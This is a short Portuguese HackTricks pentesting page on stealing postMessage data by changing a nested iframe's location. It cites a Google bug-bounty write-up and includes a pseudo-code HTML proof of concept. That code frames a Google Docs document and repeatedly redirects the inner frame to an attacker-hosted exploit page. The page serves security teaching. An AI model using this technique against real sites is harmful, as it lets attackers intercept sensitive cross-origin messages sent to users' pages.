hacktricks/src/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md

32 lines
1.3 KiB
Markdown

# Roubar postmessage modificando a localização do iframe
{{#include ../../banners/hacktricks-training.md}}
## Mudando as localizações de iframes filhos
De acordo com [**este artigo**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você puder iframe uma página da web sem o X-Frame-Header que contém outro iframe, você pode **mudar a localização desse iframe filho**.
Por exemplo, se abc.com tiver efg.com como iframe e abc.com não tiver o cabeçalho X-Frame, eu poderia mudar o efg.com para evil.com de origem cruzada usando **`frames.location`**.
Isso é especialmente útil em **postMessages** porque se uma página estiver enviando dados sensíveis usando um **wildcard** como `windowRef.postmessage("","*")`, é possível **mudar a localização do iframe relacionado (filho ou pai) para um local controlado por atacantes** e roubar esses dados.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
```
{{#include ../../banners/hacktricks-training.md}}